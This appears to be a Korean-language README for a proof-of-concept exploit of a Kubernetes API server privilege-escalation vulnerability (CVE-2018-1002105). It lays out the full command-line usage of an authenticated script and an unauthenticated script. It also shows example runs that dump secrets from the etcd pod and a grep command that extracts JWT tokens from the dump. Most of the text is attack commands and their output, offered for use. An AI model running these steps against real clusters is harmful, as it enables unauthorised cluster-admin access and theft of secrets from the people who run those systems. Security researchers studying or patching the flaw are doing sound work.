evict/poc_cve-2018-1002105Poc 익스플로잇 - CVE-2018-1002105, Kubernetes API server 대상. 인증 및 비인증 권한 상승을 지원하여 시크릿을 덤프하거나 exec, portforward, attach 방식을 통해 클러스터 관리자 권한을 획득합니다.
CVE-2018-1002105에 대한 Proof-of-Concept 익스플로잇입니다. 현재 익스플로잇은 pods와 pods/exec에 대한 create 및 get 권한이 필요합니다. portforward 및 attach에 대한 지원이 추가되었으며, 이와 유사한 권한이 필요합니다.
현재 PoC는 기본 etcd-kubernetes 파드에서 시크릿을 덤프합니다.
작동 중인 PoC:
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
POD --method {exec,portforward,attach}
[--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
[--container CONTAINER] [--command COMMAND]
[--filename FILENAME]
PoC for CVE-2018-1002105.
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--jwt TOKEN, -j TOKEN
JWT token for service account
--namespace NAMESPACE, -n NAMESPACE
Namespace with method access
--pod POD, -p POD Pod with method access
--method {exec,portforward,attach}, -m {exec,portforward,attach}
optional arguments:
--privileged-namespace PNAMESPACE, -s PNAMESPACE
Target namespace
--privileged-pod PPOD, -e PPOD
Target privileged pod
--container CONTAINER, -c CONTAINER
Target container
--command COMMAND, -x COMMAND
Command to execute
--filename FILENAME, -f FILENAME
File to save output to
예시:
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!
토큰 확인:
$ grep -air eyJ etcd.db
인증되지 않은 PoC는 노출된 API의 컨텍스트 내에서 권한 상승을 허용합니다. API의 기능에 따라 파드에서 코드 실행이 가능할 수 있습니다. 이 데모는 현재 서비스 카탈로그 servicecatalog.k8s.io API에서 클러스터 관리자 권한을 얻기 위해 이 버그를 이용합니다. 이 익스플로잇은 metrics.k8s.io 또는 집계 계층을 통해 노출된 모든 API에서도 작동합니다.
작동 중인 PoC:
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
[--api-target TARGET_API] [--api-version VERSION]
[--json] [--filename FILENAME]
Unauthenticated PoC for CVE-2018-1002105
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--api-base BASE, -b BASE
Target API name i.e. "servicecatalog.k8s.io"
--api-target TARGET_API, -u TARGET_API
API to access i.e. "clusterservicebrokers"
optional arguments:
--api-version VERSION, -a VERSION
API version to use i.e. "v1beta1"
--json, -j Print json output
--filename FILENAME, -f FILENAME
File to save output to
예시:
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!